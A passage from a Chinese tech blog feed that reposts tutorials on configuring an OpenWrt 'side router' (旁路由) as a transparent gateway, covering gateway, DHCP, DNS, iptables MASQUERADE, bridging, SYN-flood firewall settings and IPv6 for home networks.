alt="" class="lazyLoadEnd" data-index="2" data-original="https://cdn.sspai.com/2020/03/27/16fc531a8511829e1c064ffbb81207b5.png" src="https://cdn.sspai.com/2020/03/27/16fc531a8511829e1c064ffbb81207b5.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1" /><figcaption class="ss-image-caption">网络架构图</figcaption></figure><p>方案的配置也不复杂,相关步骤如下:</p><ul><li>前两步与方案一相同,第三步中「IPv4 网关」依旧填写主路由 IP(192.168.1.1),DNS 设置为主路由IP,但要勾选 「动态 DHCP」,并勾选「强制」选项</li></ul><ul><li>在「DHCP 服务器」设置中,「<abbr>IPv4</abbr> 子网掩码」设置为 「255.255.255.0」,「DHCP选项」 分别填写「3,192.168.1.x」与「 6,192.168.1.x」(IP 地址为你旁路由的 IP 地址)</li><li>设置完成后,重启「旁路由」和「主路由」即可</li><li>如果不再使用「旁路由」,只需要断开网线连接,并重启「主路由」,网络将重新由「主路由」接管,无需改动其他配置<br /></li></ul><p>路由器配置详情可参考下图:</p><figure class="ss-img-wrapper" contenteditable="false" draggable="false" tabindex="0"><img alt="" class="lazyLoadEnd" data-index="3" data-original="https://cdn.sspai.com/2020/03/28/33d07746d3d5671478df23d84b286877.png" src="https://cdn.sspai.com/2020/03/28/33d07746d3d5671478df23d84b286877.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1" /><figcaption class="ss-image-caption">DHCP 服务器设置</figcaption></figure><h2><span id="ss-SPAN-1585378479023" style="color: inherit; font-family: inherit; font-size: 24px;">「旁路由」有那些的功能</span></h2><p><br />「旁路由」的在功能上其实和所有路由器的功能一致,像使用频率非常高的过滤广告、简易NAS、离线下载、自建
DNS、等等功能都能够支持,这里就不做详细的展开,大家有兴趣可以看看笔者之前写过的文章,文章中提到的路由器的功能,你都可以在「旁路由」中实现,只要你选择一个合适的「旁路由」系统即可,比如支持「koolshare
软件中心」的路由系统,他的可玩性完全取决你的需求,这里就不一一展开。</p><p><a class="insert-link" href="https://sspai.com/post/58628" target="_blank">从听说到上手,人人都能看懂的软路由入门指南</a></p><p><a class="insert-link" href="https://sspai.com/post/58452" target="_blank">用这些 OpenWRT 插件来武装你的路由器</a><br /></p><h2 id="ss-H2-1585378489879">尾巴</h2><div><br /></div><p>这些年有关路由器的各种文章教程层出不穷,无数的极客开始从家庭网络的中心——路由器进行网络的优化改造,让它不仅能承载家庭中越来越多的网络设备,更延申出了更多丰富多彩的功能,让智能生活真正的走进每个人家中。之所以出现这种情况,除了互联网越来越丰富,人们的需求越来越多样,还有一个很重要的原因就是一家不得不提的「硬件」厂商——斐讯,他给广大的极客提供了数量极大且质量尚佳的硬件设备,比如路由器
K2p、盒子N1、智能插座TC1等等,虽然斐讯厂商并没有成为智能硬件设备的龙头,甚至走向了消亡,但是他遗留下来的各种硬件,在广大极客的手上却持续发光发热,形成了成熟的社区,让那些科技小白也能享受到智能硬件带来的切实的生活质量的提升,或许这就是真正的「科技改变生活」吧</p> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-19395171467432758282023-10-08T23:30:00.003+08:002023-10-08T23:31:14.975+08:00旁路由的原理与配置一文通<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><div class="post-content">
<p>via: <a href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/">https://easonyang.com/posts/transparent-proxy-in-router-gateway/</a> <br /></p><p>最早听到旁路由这个词是在 2020 年折腾 N1 的时候,这台单网口的小盒子只能用网上所说的旁路由方案接入局域网来实现期望的功能。现在回想起来,旁路由这个词有可能就是在那个发烧友大量折腾斐讯 N1/P1/T1 的时期被发明出来的。你没办法在发烧友圈子外的互联网及各种学术材料中找到对旁路由的描述和定义,当然也找不到合适的英文翻译(导致这篇文章的 slug 定义困难);从拓扑上看,旁路由更像是杂糅了二级路由和透明网关的概念,除了实体确实多接了根网线放在主路由旁边,其本身并没有真正地开启一条旁路,做的事情也基本可以和网关的定义对齐。</p>
<p>不过,由于这个说法主要集中于网友的交流讨论之中,而且几年来在有相关需求的广大用户中被广为接受,所以只要这个词不变为一个学术概念,那我倒也不觉得有什么不妥。下文也仍然会用「旁路由」一词来指代在此类拓扑结构中担任代理网关角色的路由器。</p>
<p>此外,本文对于原理的解释偏多且为新手向,对于已经熟知相关概念的读者则可以将本文作为 cheat sheet 食用。</p>
<h2 id="旁路由的适用场景"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#旁路由的适用场景"><i class="iconfont icon-link"></i></a>旁路由的适用场景</h2>
<p>有人认为旁路由的加入(手动指定方式)不会在其出现问题时影响整个网络的可用性,所以应该把非路由功能都交给旁路由来实现。但实际上如果仅仅是为了达成这个目标,那在主路由上直接分流会是个更好的方案,因为这样不仅会大量减少疑难杂症的出现,而且还可以通过设置 fallback
的方式进一步提升网络的可用性。</p>
<p>所以我认为旁路由实际上只适用于一个场景,那就是出于某种考虑,主路由不能被替换或被大量修改,而主路由的固件又不能满足功能诉求,这时候旁路由便是一个可选的解决方案。</p>
<h2 id="旁路由的原理"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#旁路由的原理"><i class="iconfont icon-link"></i></a>旁路由的原理</h2>
<p>网上关于旁路由的配置教程多如牛毛,其中大部分是基于 F 大的 N1 OpenWrt 固件使用教程来写的,也有很多是结合了自己的踩坑经验的细化版本。由于版本太多、完整的说明太少,而且大部分没有讲清楚教程的环境上下文和原理,导致按照这些教程来配置的用户往往不得不一遍遍地折腾重试,甚至会遇到逐步配置最终却断网、访问不了部分网站等令人头疼的问题。</p>
<p>授之以鱼不如授之以渔,为了能彻底讲清楚旁路由该如何配置,我们暂且不谈具体步骤,而是先搞明白旁路由的运作原理。</p>
<h3 id="名词解释"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#名词解释"><i class="iconfont icon-link"></i></a>名词解释</h3>
<p>由于计算机网络的术语在不同时期、不同环境下,对于细节的含义其实有比较大的差异,故首先我们先定义好下文中将使用到的各类专有名词的含义,以免出现信息不对称的情况。同时为了方便理解,我们也尽量和 OpenWrt 的名词对齐,并尝试与现实生活场景进行类比。</p>
<ol><li><b>路由</b>:将数据从源地址传输到目的地址的行为。可以看出,这个行为抽象涵盖了两个动作,一是找到地址、二是转发数据。可以类比为网购时快递公司将商品从卖家发送给买家的过程。</li><li><b>路由表</b>:可以简单理解为路由过程中的地址关联信息的合集,也就是现实中发货地址和收货地址的映射关系。</li><li><b>路由器</b>:本文中指家用的、具备路由功能的实体网络设备,其本身并不一定需要真的承担或只承担路由功能,可以抽象理解为就是一台普通的电脑或服务器。当然,它也可以是一个容器实例、一个虚拟机。对应到现实中就是快递公司。</li><li><b>接口</b>:这里特指网络接口,指两个网络设备或协议层的连接点。现实中连接路由器时,wan/lan 不同的网线插槽其实就可以理解为接口。只不过接口并不一定是物理实体,所以我们才会在 OpenWrt 的接口设置里看到甚至新增许多物理设备上所没有的接口。</li><li><b>网关</b>:这里特指网络中的网关,负责执行数据转发的某个抽象设备。这里可能容易与路由器的功能混淆,毕竟路由器如果用来做路由似乎也是在做转发的工作。实际上这是由于术语的历史使用缺少规范导致的边界不够清晰,可以粗略理解为承担路由功能的路由器就是网关,但网关不一定是只能由路由器担任。</li><li><b>IP</b>:本身指 IP 协议,本文为方便也可能将其作为 IP 地址的简称,且默认为 IPv4 。本节所有的名词其实都是基于 IP 协议运作的,而 IP 地址即上文各类「地址」的实际值。可以理解为你用于发送和接收快递的门牌号。</li><li><b>DHCP</b>:IP 地址的管理和分配协议,本文中不单单指协议本身,还指负责执行该协议的设备。可以理解为给你分配门牌号的物业,只不过这个门牌号是动态变化的。</li><li><b>DNS</b>:上文说到数据的传输需要源地址和目的地址,而这个地址就是 IP 地址。但由于 IP 地址难以记忆,所以才会有了可以作为 IP 地址别名的域名,而 DNS 就是负责进行域名和 IP 地址映射转换的系统。本文中 DNS 也指代负责运行该系统的设备。</li><li><b>NAT</b>:出于各种考虑,局域网与因特网的 IP 地址是隔离的,NAT 可以理解为内外网 IP 地址转换的流程。类比网购,相当于快递公司把快递送到附近快递站,快递站的快递员再把货物送到你家门口的流程。</li><li><b>SNAT</b>:NAT 的一种,本质上是在修改网络包的源地址,目的是可以强制网络包返回时经过期望的地址。可以理解为支付宝的作用,即钱虽然表面上是点对点转账的,但经过支付宝后,支付宝就要求相关转账信息的回执必须由它中转一次再告知转账发起人。</li></ol>
<h3 id="网络拓扑"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#网络拓扑"><i class="iconfont icon-link"></i></a>网络拓扑</h3>
<p><a class="fancybox" data-caption="" data-fancybox="gallery" href="https://gmiimg.com/ee0724cd54a8e17f32a0971e2f4969fc.png"><img alt="旁路由架构的网络拓扑图" height="388" src="https://gmiimg.com/ee0724cd54a8e17f32a0971e2f4969fc.png" width="400" /></a></p>
<p>可以看到,无论如何配置,我们都需要保证数据按图中的拓扑进行流转,才能实现我们所希望的只在旁路由增加功能而不修改主路由的目的。由于流量(至少上行流量)总会流经旁路由,所以旁路由实质上就是一层透明代理。</p>
<h3 id="工作原理"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#工作原理"><i class="iconfont icon-link"></i></a>工作原理</h3>
<p>那么我们该怎么实现这样的网络拓扑呢?让我们先来看下数据在网络的更底层是如何流转的。</p>
<p><a class="fancybox" data-caption="" data-fancybox="gallery" href="https://gmiimg.com/d247c8b3d92cd3990245b622d5e7aa56.png"><img alt="旁路由架构的数据流转示意图" height="190" src="https://gmiimg.com/d247c8b3d92cd3990245b622d5e7aa56.png" width="400" /></a></p>
<p>从图中可以看到,当我们从手机等终端设备发出一个数据包时,数据包总是由我们的终端设备经由网关路由至目的地址,目的地址返回数据时也是相同的路径。这是因为终端设备本身通常是不具备路由功能的,单单一个路由表终端设备就搞不定。</p>
<p>既然数据必然经过网关,那么我们只要强制把旁路由作为终端设备对外数据交互的第一层网关即可。至此旁路由的工作原理其实就已经解释清楚了,即在另一台路由器上实现的基于网关的透明代理。而网上各式各样的教程其实都是在教我们解决如何配置网关的问题。</p>
<p>在这一章节还需要说明的是为什么各个教程都要求我们把旁路由的 IP 配置在和主路由相同的 IP 网段。所谓的 IP 网段实际上就是子网,同一子网下的主机(设备)可以直接通信,跨子网则需要通过某种形式转换后才能通信,而这些转换虽然可行但比较复杂,在旁路由这个场景下显然是没有必要的。本着不改变原有网络拓扑的原则,旁路由自然也要配置在和主路由及其他设备相同的子网才行。</p>
<h2 id="旁路由的配置"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#旁路由的配置"><i class="iconfont icon-link"></i></a>旁路由的配置</h2>
<p>那么我们该如何配置网关以让数据按上文的工作原理进行流转呢?</p>
<h3 id="一旁路由的网关设置"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#一旁路由的网关设置"><i class="iconfont icon-link"></i></a>(一)旁路由的网关设置</h3>
<p>首先我们先来解决旁路由的网关问题。在上文的拓扑图中我们可以看到,旁路由虽然挂着路由器的名字,但它本质上也是网络链路中的一个节点,因此它也需要请求上层网关才能完成数据流转。而主路由是这个网络拓扑的出口,所以旁路由的网关自然要配置为主路由的 IP 地址。这一项配置是必须且不会随终端网关配置方式的变化而改变的,无论如何指定网关请求旁路由,旁路由本身都要依赖此配置才能完成正常的流量转发。</p>
<p>此外,还有子网掩码需要进行配置。前面有提到,在同一子网内的主机之间才能直接通信,而 IP 和子网掩码相组合便能确定设备当前所在的子网。旁路由并不改变网络拓扑,所以需要和主路由在同一子网内。因此将旁路由的子网掩码配置设置为主路由的子网掩码即可。同理,下文的所有子网掩码配置也均需要与主路由的保持一致。</p>
<h3 id="二旁路由的dhcp配置"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#二旁路由的dhcp配置"><i class="iconfont icon-link"></i></a>(二)旁路由的DHCP配置</h3>
<p>虽然配置了网关后数据流转图中的左半边已经成型,但如果不对旁路由的 DHCP 进行配置,实际上会导致各种各样的疑难杂症或直接无法联网。</p>
<p>原因在于 DHCP 使用了 UDP 协议,UDP 是没有连接的,如果主路由和旁路由同时开启 DHCP,则任意一个 DHCP 服务器都可能会应答终端的申请,进而导致 IP 下发和路由表的混乱造成各种无法连接的疑难杂症。当然,我们可以将两个 DHCP 的子网网段拆分开来解决共存问题,但这个行为在旁路由场景下并没有实际意义。</p>
<p>因此我们需要保证网络中只有一个设备承担 DHCP 功能,出于不改变原网络拓扑和避免无意义 NAT 的考虑,我们通常选择关闭旁路由的 DHCP 功能(对应到 OpenWrt 则选择「忽略此接口」)。</p>
<h3 id="三终端网关配置"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#三终端网关配置"><i class="iconfont icon-link"></i></a>(三)终端网关配置</h3>
<p>对于手机、电脑等终端,我们的目标是将其网关配置为旁路由的 IP 。实现方案很多,成本较低的主要为以下两种。</p>
<h4 id="手动指定"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#手动指定"><i class="iconfont icon-link"></i></a>手动指定</h4>
<p>顾名思义,只需要在终端设备的网络设置中将网关手动配置为旁路由即可。以 iOS 系统为例:</p>
<p><a class="fancybox" data-caption="" data-fancybox="gallery" href="https://gmiimg.com/3f58fee3de6f48c714173df4f26aac2e.jpg"><img alt="iOS 网络配置界面" height="346" src="https://gmiimg.com/3f58fee3de6f48c714173df4f26aac2e.jpg" width="400" /></a></p>
<p>手动填写一个网络上未被占用的 IP 地址,而子网掩码以主路由为准,网关则填写旁路由的 IP 地址。</p>
<p>手动指定的好处在于完全不影响原网络的使用,设备按需配置是否使用旁路由作为网关以实现特定功能。当旁路由故障时,未手动指定的设备仍能正常上网。</p>
<p>缺点在于操作烦琐。手机、电脑还好,但电视或根本没有屏幕的设备设置起来就会很麻烦。</p>
<h4 id="依赖dhcp指定"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#依赖dhcp指定"><i class="iconfont icon-link"></i></a>依赖DHCP指定</h4>
<p>DHCP 除了可以管理 IP 的分配,还会下发网关和 DNS 服务器信息,因此我们还可以借助 DHCP 的这一机制来为所有终端统一设置网关,而不再需要逐个手动修改。</p>
<p>前面提到,我们关闭了旁路由的 DHCP 功能,因此这个统一下发的工作就要交给主路由来完成。只需要在主路由的 DHCP 配置中将网关配置为旁路由的 IP 地址即可。</p>
<p><a class="fancybox" data-caption="" data-fancybox="gallery" href="https://gmiimg.com/fc7f640460453d3eb1b6aa3d5c849c5c.png"><img alt="OpenWrt 的 DHCP 配置界面" src="https://gmiimg.com/fc7f640460453d3eb1b6aa3d5c849c5c.png" /></a></p>
<p>以 OpenWrt 为例,将主路由 DHCP 下发的网关配置为旁路由 IP 地址即可(3 表示网关,6 表示 DNS 服务器地址)。</p>
<p>不过有些路由器的默认固件没有开放该配置项,对于这些设备,除非可以 SSH 连接后手动改配置,不然无法使用此种指定方式。</p>
<p>这种方式的好处显而易见,一次配置全家受用;缺点在于当旁路由出现故障时,所有连接的设备都会无法上网。</p>
<h3 id="四dns的配置"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#四dns的配置"><i class="iconfont icon-link"></i></a>(四)DNS的配置</h3>
<p>细心的读者可能发现了上文只提到了网关的配置,但未提到很多教程中的 DNS 配置。实际上单单就旁路由本身来说,网关配置完成后整个网络拓扑就已经搭建完毕了。但对于一些特定诉求,比如依赖旁路由进行统一的 DNS 劫持(很多功能的底层都依赖于此),则需要将对应位置的 DNS 也配置为旁路由的 IP 以将域名解析工作也完全交由旁路由处理。</p>
<h2 id="配置步骤总结"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#配置步骤总结"><i class="iconfont icon-link"></i></a>配置步骤总结</h2>
<h3 id="手动指定方案"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#手动指定方案"><i class="iconfont icon-link"></i></a>手动指定方案</h3>
<ol><li>为旁路由配置和主路由同网段的静态 IP 地址,同时将旁路由的网关和 DNS 指向主路由,子网掩码与主路由保持一致。</li><li>旁路由关闭 DHCP 服务。</li><li>在主路由防火墙开启 SYN-flood 防御的情况下,关闭旁路由防火墙的 SYN-flood 防御(可选)。</li><li>在需要接入旁路由的终端设备中,将网关和 DNS 配置为旁路由 IP 地址,配置同网段的 IP 地址和与主路由相同的子网掩码。</li></ol>
<h3 id="dhcp下发方案"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#dhcp下发方案"><i class="iconfont icon-link"></i></a>DHCP下发方案</h3>
<ol><li>为旁路由配置和主路由同网段的静态 IP 地址,同时将旁路由的网关和 DNS 指向主路由,子网掩码与主路由保持一致。</li><li>旁路由关闭 DHCP 服务。</li><li>在主路由防火墙开启 SYN-flood 防御的情况下,关闭旁路由防火墙的 SYN-flood 防御(可选)。</li><li>在主路由的 DHCP 配置中,将其下发的网关和 DNS 配置为旁路由的 IP 地址。</li></ol>
<h2 id="疑难杂症的解决"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#疑难杂症的解决"><i class="iconfont icon-link"></i></a>疑难杂症的解决</h2>
<p>虽然配置步骤看上去很简单,但很多人在实际使用中都会遇到逐步配置却上不了网或网络慢的问题,这里挑几个典型案例来解析。</p>
<h3 id="一该不该设置iptables的masquerade"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#一该不该设置iptables的masquerade"><i class="iconfont icon-link"></i></a>(一)该不该设置iptables的MASQUERADE</h3>
<p>这可能是争议最大的一条,有人说这条规则加上后影响性能而且没意义,但也有很多人表示不配这条就是连不上网(大多为连接不上国内网络)。</p>
<p>这条规则的作用本质上是在旁路由上做 SNAT,只不过修改的地址不需要指定而是动态获取旁路由对应接口网卡的 IP 地址,在 OpenWrt 里被称为「IP 伪装」。</p>
<p><a class="fancybox" data-caption="" data-fancybox="gallery" href="https://gmiimg.com/2d0c6641e3f951044153129b3176ab66.png"><img alt="配置 MASQUERADE 后的数据流转示意图" height="151" src="https://gmiimg.com/2d0c6641e3f951044153129b3176ab66.png" width="400" /></a></p>
<p>单从旁路由的网络拓扑来说,这条规则确实没意义,因为主路由作为对外出口必做 NAT,但旁路由本身就在局域网内且只是链路上的一环,没有必要再对内网 IP 进行耗费性能的 NAT 操作。</p>
<p>但不要忘了,理论和现实是两回事,物理网络拓扑中的不同设备、不同固件都有可能产生各种奇怪的兼容问题。我自己倒是没有遇到过该问题,但检索网友们的各种帖子,大概可以分为以下几种原因:</p>
<ol><li><b>主路由固件数据包处理问题</b>:部分路由器(似乎主要为国产品牌)的无线网在桥接和 iptables 处理过程中,当旁路由将国内流量重新转发回主路由时,主路由根据流中的首个数据包的状态做判断导致后续数据包未进行 NAT 就直接访问了互联网。<a href="https://blog.csdn.net/qq1337715208/article/details/122271608">这篇文章</a>对此有比较详细的讲解(CSDN 也是有很多好文章的)。</li><li><b>主路由 NAT 硬件加速导致的问题</b>:可能是由于硬件加速流程对数据包的处理出现了类似于原因 1 的问题导致无法正确完成数据交互。由于硬件加速本质上是在运行特殊驱动,而各家厂商的该驱动几乎都是闭源的,所以网上也没见到有探究深层原因的资料。这种情况下把硬件加速关闭即可(会一定程度牺牲主路由 NAT 性能)。</li><li><b>IP 和 MAC 校验机制导致包被丢弃的推论</b>:由旁路由的网络拓扑可知,配置网关后上行流量必然经过旁路由,但在旁路由不进行 NAT 时数据包中的 IP 仍然是终端设备的,所以理论上下行数据并不会经过旁路由而是由主路由直接转发至终端。显然,由于旁路由的存在,IP 地址和 MAC 地址在某个环节会有不匹配的情况,如果主路由对此有校验,那数据包就会被丢弃掉。但这也只是个推论没有证据佐证,同时由于网络可能的复杂性,主路由通常也不会主动做这种校验。</li></ol>
<p>MASQUERADE 配置其实并没有定向地去解决上面这些具体问题,而是通过 NAT 来隐藏终端设备、只向主路由暴露旁路由 IP 的方式,一刀切地避免了上述原因导致的问题。但由于上下行流量都会经过旁路由,所有流量都会被二次 NAT 和二次转发,网络的吞吐会有不小的下降,直观感受就是下载速度变慢了。</p>
<p><b>所以比较理想的策略是,先不加 MASQUERADE 规则观察是否有问题(尤其是国内流量),如果确实有问题,在权衡可以接受性能的损失后再配上该规则。</b></p>
<h3 id="二lan和wan是否需要绑定"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#二lan和wan是否需要绑定"><i class="iconfont icon-link"></i></a>(二)LAN和WAN是否需要绑定</h3>
<p>具体操作是取消桥接,再设置 WAN 和 LAN 共用同一个网卡(如 eth0 )。这个操作其实和 MASQUERADE 规则的效果类似,因为绑定后经过 WAN 的流量必然会被 SNAT 。<b>适用于确实遇到了疑难杂症且能接受性能损失场景下的备选方案。</b></p>
<h3 id="三是否需要关闭旁路由桥接"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#三是否需要关闭旁路由桥接"><i class="iconfont icon-link"></i></a>(三)是否需要关闭旁路由桥接</h3>
<p>在许多教程里,这个操作和添加 MASQUERADE 规则是配套的。但桥接与否实际上并不会影响整体的网络拓扑,这看上去又是一项没有意义的配置。我猜测可能是网上流传的添加 MASQUERADE 规则的方式是下面这条固定命令:</p>
<div class="highlight"><div class="chroma language-shell">
<table class="lntable"><tbody><tr><td class="lntd">
<pre class="chroma" tabindex="0"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre class="chroma" tabindex="0"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">iptables -t nat -I POSTROUTING -o eth0 -j MASQUERADE
</span></span></code></pre></td></tr></tbody></table>
</div>
</div><p>也就是要求 SNAT 时从 eth0 网卡动态获取 IP 。而在桥接模式下,MASQUERADE 时是需要从 br-lan (常见的桥接后的默认网卡名称,也可能是其他名称,要视实际情况而定)获取 IP 的,直接复制粘贴上面的命令会导致 IP 伪装失败。<b>所以只要把 -o 参数的值改为 br-lan 即可:</b></p>
<div class="highlight"><div class="chroma language-shell">
<table class="lntable"><tbody><tr><td class="lntd">
<pre class="chroma" tabindex="0"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre class="chroma" tabindex="0"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">iptables -t nat -I POSTROUTING -o br-lan -j MASQUERADE
</span></span></code></pre></td></tr></tbody></table>
</div>
</div><p>但似乎确实有网友不取消桥接就无法联网,这种情况大概率是旁路由固件对桥接模式的处理有问题(多见于 ARM 架构的固件,这类固件通常要做很多的魔改适配),<b>如果真的遇到这种情况的话则确实可以取消桥接尝试下</b>,毕竟大多数情况下旁路由内部的桥接也没什么实际意义,去掉后由于少了流量判断流程可能还会有非常微小的性能提升。</p>
<p>至于 N1 这种自带无线功能但实际上没人用的设备,在关掉无线后,确实可以顺便取消掉没有意义的桥接。只是在 OpenWrt 取消桥接保存配置时,要确定选中了有线网卡对应的接口比如 LAN/eth0 ,不然如果后台的前端存在体验问题自动选择了 wlan ,那保存后路由器可就直接失联了。</p>
<h3 id="四是否需要设置dhcp强制"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#四是否需要设置dhcp强制"><i class="iconfont icon-link"></i></a>(四)是否需要设置DHCP强制</h3>
<p>如果我想通过 DHCP 下发网关但又不想改变主路由的原配置该怎么办呢?在 OpenWrt 的接口 DHCP 配置中有一个选项叫做「强制」,勾选后,此设备会忽略网络上已经存在的 DHCP 服务,强制启动本机的 DHCP 服务,所以似乎我们只需要在旁路由上配置此选项,并在旁路由 DHCP 中配置好网关,主路由不做任何变更,即可实现本段开头的诉求。</p>
<p>但上文提到同一子网中只能有一个用于分配指定网段的 DHCP 服务,因此旁路由强制开启 DHCP 后,还需要主路由具备主动判断网络情况停止提供 DHCP 服务的能力,这个流程才能真正运转起来。<b>但并不是所有的路由器和固件都支持这个能力,目前来看 OpenWrt 作为主路由固件时可以正确检测并停用 DHCP ,其他固件则需要在使用时做下兼容性测试。从工程角度上讲,由于这样的操作过于依赖外部能力,属于和外部组件产生了强耦合,不利于未来维护,故不太推荐此种方案。</b></p>
<h3 id="五旁路由的某些功能无法使用"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#五旁路由的某些功能无法使用"><i class="iconfont icon-link"></i></a>(五)旁路由的某些功能无法使用</h3>
<p>各种组件内部实现大不相同,如果某个组件的代码对网络结构做了强限定(如上文所说的校验 IP 和 MAC 的匹配关系),那旁路由的加入可能就会打破组件预期的网络结构导致其无法运行。这种情况在组件本身不做适配时基本无解,只能尝试下开启 MASQUERADE 等配置,<b>看看多加一层 NAT 后的网络拓扑是否能符合组件要求,但代价同样是会牺牲性能。</b></p>
<h3 id="六是否应该关闭旁路由防火墙的syn-flood防御"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#六是否应该关闭旁路由防火墙的syn-flood防御"><i class="iconfont icon-link"></i></a>(六)是否应该关闭旁路由防火墙的SYN-flood防御</h3>
<p>SYN-flood 是一种常见的攻击方式,SYN 指 TCP 建连三次握手中的第一步报文,flood 指大量发起该步骤的报文。由于 TCP
的实现原理要求服务端接收到 SYN 报文后回复客户端 SYN+ACK 报文表明请求被接受,并在一段时间内等待客户端回复最终的 ACK
报文,那么大量的 SYN 报文就会导致服务端出现大量等待最终资源耗尽挂掉,而攻击者并不需要真的完成建连,只要持续发送 ACK 包即可。</p>
<p>那路由器的防火墙又是如何作防御的呢?以 OpenWrt 为例,虽然 OpenWrt 的防火墙配置已经迁移到了 fw3 ,但翻看代码历史我们就会看到当时 OpenWrt 直接基于 iptables 的早期实现:</p>
<div class="highlight"><div class="chroma language-shell">
<table class="lntable"><tbody><tr><td class="lntd">
<pre class="chroma" tabindex="0"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre class="chroma" tabindex="0"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">$IPTABLES</span> -N syn_flood
</span></span><span class="line"><span class="cl"><span class="nv">$IPTABLES</span> -A syn_flood -p tcp --syn -m limit --limit <span class="nv">$rate</span>/second --limit-burst <span class="nv">$burst</span> -j RETURN
</span></span><span class="line"><span class="cl"><span class="nv">$IPTABLES</span> -A syn_flood -j DROP
</span></span><span class="line"><span class="cl"><span class="nv">$IPTABLES</span> -A INPUT -p tcp --syn -j syn_flood
</span></span></code></pre></td></tr></tbody></table>
</div>
</div><p>即借助 iptables 的 SYN 限流能力进行防御,同时此配置位于 default 配置中,会在 NAT 等具体网络操作之前执行。</p>
<p>对应到主路由,wan 口接收到攻击流量后便会进行限流,攻击者无法直接向后攻击到内网主机,那么同样为内网主机的旁路由自然理论上也就不会被攻击到。</p>
<p>但对于旁路由来说,理论上网络中的所有上行流量都会通过它来转发,那当流量超过防火墙的限流阈值时便会触发拦截,进而在终端上表现为网络时断时续。<b>所以在主路由已开启 SYN-flood 防御的情况下,旁路由关闭该配置可以避免出现可能的网络不稳定问题。</b></p>
<h2 id="旁路由与ipv6"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#旁路由与ipv6"><i class="iconfont icon-link"></i></a>旁路由与IPv6</h2>
<p>IPv6 在家用网络中通常默认是没有 NAT 转换流程的,同时其动态地址配置方案比 IPv4 要复杂得多,比如 SLAAC 和之前的 DHCP 可以说完全不是一套机制,而 DHCPv6 又分有状态和无状态两类。而前面提到,我们实现旁路由网络拓扑的过程,其实就是在指定一个具备透明代理功能的网关的过程,但 SLAAC/DHCPv6 都没有提供网关下发能力,终端设备总是会以其所交互的主机作为网关,同时大多也不支持直接修改网关。此外,运营商不支持 DHCPv6-PD 、IPv6 子网限定范围等情况,<b>都使得旁路由支持 IPv6 非常困难,在不同场景、不同网络下要面临不同的配置,甚至无方案可配置。</b></p>
<p>网上比较流行的旁路由 IPv6 实现是个曲线救国的折中方案,即先开启主路由的内网的 IPv6 地址分配进而让旁路由获得内网 IPv6 地址,随后再通过在旁路由开启一个 DHCPv6-Client 的方式获取到公网的 IPv6 地址,这样便可以将主路由的 DHCPv6 下发的 DNSv6 配置为旁路由的 IPv6 地址。此时除了 DNSv6 的解析是在旁路由进行,其他流程仍按原链路直连。而在需要分流的场景中,OpenWrt 的相关组件可以选择在解析域名时放过不需要处理的 IPv6 流量让其正常解析出 AAAA 记录,而对域名名单中的流量强制解析为 A 记录以继续走 IPv4 协议,从而实现和此前的类似的旁路由功能。</p>
<p>当然,这种解析实际上依赖于组件的能力。如果组件并不支持,那通过各种方式强制定义 IPv6 的路由表保证相关 IPv6 流量必然经过旁路由也是一种解决方案。<b>不过无论哪种实现,由于不借助网关配置,其实都已经和本文的旁路由不相关了。</b></p>
<p>此外,还有种方案是通过 radvd 等支持配置路由单播和优先级的工具,用更高的优先级来指定终端的 IPv6 路由(可以简单理解为 IPv4 的网关),这样就替代了 IPv4 下手动配置或 DHCP 下发网关对应的功能,完美满足本文所说的旁路由网络拓扑,同时对 IPv6 动态地址配置方案的要求很低,但要求终端设备支持路由优先级配置。</p>
<h2 id="总结"><a class="headerlink anchor" href="https://easonyang.com/posts/transparent-proxy-in-router-gateway/#总结"><i class="iconfont icon-link"></i></a>总结</h2>
